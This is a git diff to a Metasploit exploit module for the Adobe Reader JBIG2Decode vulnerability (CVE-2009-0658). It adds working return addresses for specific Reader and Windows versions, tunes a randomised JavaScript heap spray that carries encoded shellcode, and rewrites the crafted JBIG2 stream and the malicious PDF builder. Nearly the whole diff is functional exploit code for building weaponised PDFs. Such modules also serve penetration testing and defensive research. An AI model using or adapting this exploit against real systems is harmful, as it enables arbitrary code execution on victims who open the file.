diff --git a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb index ff34c2739f..385c98e167 100644 --- a/modules/exploits/windows/fileformat/adobe_jbig2decode.rb +++ b/modules/exploits/windows/fileformat/adobe_jbig2decode.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote 'References' => [ [ 'CVE' , '2009-0658' ], - [ 'blog', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'], + [ 'URL', 'http://bl4cksecurity.blogspot.com/2009/03/adobe-acrobatreader-universal-exploit.html'], ], 'DefaultOptions' => { @@ -46,8 +46,9 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Platform' => 'win', 'Targets' => - [ - [ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => '' } ], + [ + [ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll) + [ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll) ], 'DisclosureDate' => 'Feb 2009', 'DefaultTarget' => 0)) @@ -61,11 +62,10 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # Encode the shellcode. - shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) + shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch)) + ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V")) nops = Rex::Text.to_unescape(make_nops(4)) - pointerPattern1 = Rex::Text.to_unescape("\x00\x00\x00\x00\x90\x8a\x01\x07") - pointerPattern2 = Rex::Text.to_unescape("\x90\x8a\x01\x07\x00\x00\x00\x00") # Randomize some variables rand1 = rand_text_alpha(rand(50) + 1) @@ -84,16 +84,12 @@ class Metasploit3 < Msf::Exploit::Remote rand14 = rand_text_alpha(rand(50) + 1) rand15 = rand_text_alpha(rand(50) + 1) rand16 = rand_text_alpha(rand(50) + 1) - rand17 = rand_text_alpha(rand(50) + 1) - rand18 = rand_text_alpha(rand(50) + 1) - rand19 = rand_text_alpha(rand(50) + 1) - rand20 = rand_text_alpha(rand(50) + 1) - + script = %Q| var #{rand1} = ""; var #{rand2} = ""; var #{rand3} = unescape("#{shellcode}"); - var #{rand4} =""; + var #{rand4} = ""; for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape("#{nops}"); #{rand6} = #{rand4} + #{rand3}; @@ -103,38 +99,24 @@ class Metasploit3 < Msf::Exploit::Remote while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7}; #{rand10} = #{rand7}.substring(0, #{rand9}); #{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9}); - while(#{rand11}.length+#{rand9} < 0x43500) #{rand11} = #{rand11}+#{rand11}+#{rand10}; + while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10}; #{rand12} = new Array(); - for (#{rand5}=0;#{rand5}<35;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6}; - - for (#{rand5}=64;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{pointerPattern1}"); + for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6}; + + for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}"); #{rand13} = #{rand2}.length + 20 while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2}; #{rand14} = #{rand2}.substring(0, #{rand13}); #{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13}); - while(#{rand15}.length+#{rand13} < 0x43500) #{rand15} = #{rand15}+#{rand15}+#{rand14}; + while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14}; #{rand16} = new Array(); - for (#{rand5}=0;#{rand5}<35;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2}; - - for (#{rand5}=64;#{rand5}>=0;--#{rand5}) #{rand1}+= unescape("#{pointerPattern2}"); - #{rand17} = #{rand1}.length + 20 - while (#{rand1}.length < #{rand17}) #{rand1}+=#{rand1}; - #{rand18} = #{rand1}.substring(0, #{rand17}); - #{rand19} = #{rand1}.substring(0,#{rand1}.length-#{rand17}); - while(#{rand19}.length+#{rand17} < 0x43500) #{rand19} = #{rand19}+#{rand19}+#{rand18}; - #{rand20} = new Array(); - for (#{rand5}=0;#{rand5}<35;#{rand5}++) #{rand20}[#{rand5}] = #{rand19} +#{rand1}; - | - - eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20] - eaxp20ptr = "\x05\x73\x00\x20" # The address eaxptr will call : ~0x05837df8 : shellcode location - modifier = [ "\x00\x2f\xaa\x14" , # EAX 0x002faa14 will write to ~0x075fffff : heap spray pointer pattern #1 - "\x00\x54\xc3\xae" ] # EAX 0x0054c3ae will write to ~0x0a450000 : heap spray pointer pattern #2 + for (#{rand5}=0;#{rand5}<125;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2}; +| + eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20] + eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20] + modifier = "\x00\x5d\x00\x00" - jbig2stream = Array.new - (0..1).each { |i| - jbig2stream[i] = eaxptr + "\x40\x00" + modifier[i] + eaxp20ptr - } + jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr # Create the pdf pdf = make_pdf(script, jbig2stream) @@ -219,17 +201,15 @@ class Metasploit3 < Msf::Exploit::Remote pdf << endobj xref << pdf.length - pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << nObfu(" ") << ioRef(9) << " ] >> " << eol + pdf << nObfu(" ") << ioDef(7) << nObfu(" << /Type /Page /Parent ") << ioRef(3) << " /Contents [ " << ioRef(8) << " ] >> " << eol - (0..1).each { |i| - xref << pdf.length - compressed = Zlib::Deflate.deflate(jbig2[i].unpack('H*').to_s, rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression - pdf << nObfu(" ") << ioDef(8 + i) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol - pdf << "stream" << eol - pdf << compressed << eol - pdf << "endstream" << eol - pdf << endobj - } + xref << pdf.length + compressed = Zlib::Deflate.deflate(jbig2.unpack('H*').to_s, rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression + pdf << nObfu(" ") << ioDef(8) << nObfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol + pdf << "stream" << eol + pdf << compressed << eol + pdf << "endstream" << eol + pdf << endobj xrefPosition = pdf.length pdf << "xref" << eol